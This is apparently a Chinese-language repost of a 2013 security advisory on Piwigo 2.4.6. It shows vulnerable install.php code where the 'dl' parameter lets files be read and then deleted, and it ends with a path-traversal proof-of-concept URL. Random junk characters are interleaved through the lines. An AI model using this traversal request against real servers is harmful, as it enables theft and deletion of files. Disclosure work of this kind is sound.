Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
0 `& G8 f, }6 r, W: W====================================================================
/install.php:
-------------
* l* f4 o( ]0 d( P8 |, i& k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
. |8 w  H) \1 S1 r; l115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
  A- j9 R* q; n, u2 K, v118:   header('Content-Disposition: attachment; filename="database.inc.php"');
; F+ V4 @' ]) H' ^119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
" U% u- _2 b: i3 K121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
( c( Z- \' @$ y; y, H! b====================================================================

4 [, w. ?( J0 N5 vTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
* m7 p; C. {  W: A! J) p( T           PHP 5.4.4
9 p4 q& c2 T3 y& I1 j$ }           MySQL 5.5.25a
7 {1 G- r. q2 O" M' U, G
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
/ d" h7 E$ j- Y; f                            @zeroscience

Advisory ID: ZSL-2013-5127
" }' d* v* ]; b: s) J7 o5 xAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

# j+ }* ~. S0 i# v15.02.2013
, }6 T/ K5 h/ H1 _" X, I; U
' X2 g+ ^7 d, q/ ]4 o--
3 F4 K0 b% _* v$ e6 N6 ?http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
4 R9 S5 h5 u) D5 X; {1 A
- N. `# j+ k+ h* r8 [) \5 \; r